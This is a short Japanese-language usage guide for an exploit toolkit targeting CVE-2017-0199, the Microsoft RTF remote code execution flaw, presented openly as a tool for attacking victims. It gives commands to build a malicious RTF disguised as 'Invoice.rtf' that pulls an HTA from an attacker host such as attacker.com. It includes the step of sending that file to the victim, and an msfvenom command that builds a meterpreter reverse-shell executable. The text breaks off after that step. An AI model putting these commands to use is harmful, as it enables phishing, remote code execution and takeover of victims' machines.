CVE-2017-0199

Exploit toolkit CVE-2017-0199 - v2.0 は、Microsoft RTF RCE を迅速かつ効果的に悪用するための便利な Python スクリプトです。複雑な設定を必要とせず、悪意のある RTF ファイルを生成し、metasploit / meterpreter ペイロードを被害者に配信できます。

リリースノート:

このスクリプトには以下の機能が追加されました

• ツールキットを使用して悪意のある RTF ファイルを生成
• 小さな HTA + Web サーバーとして、エクスプロイトモードでツールキットを実行 バージョン: Python 2.7.13

例:

ステップ 1: 次のコマンドを使用して悪意のある RTF ファイルを生成し、被害者に送信します

構文:

python cve-2017-0199_toolkit.py -M gen -w <filename.rtf> -u http://attacker.com/test.hta

例:

python cve-2017-0199_toolkit.py -M gen -w Invoice.rtf -u http://192.168.133.128/logo.doc

ステップ 2 (オプション、MSF ペイロードを使用する場合): metasploit ペイロードを生成し、ハンドラーを起動します

例:

ペイロードを生成:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe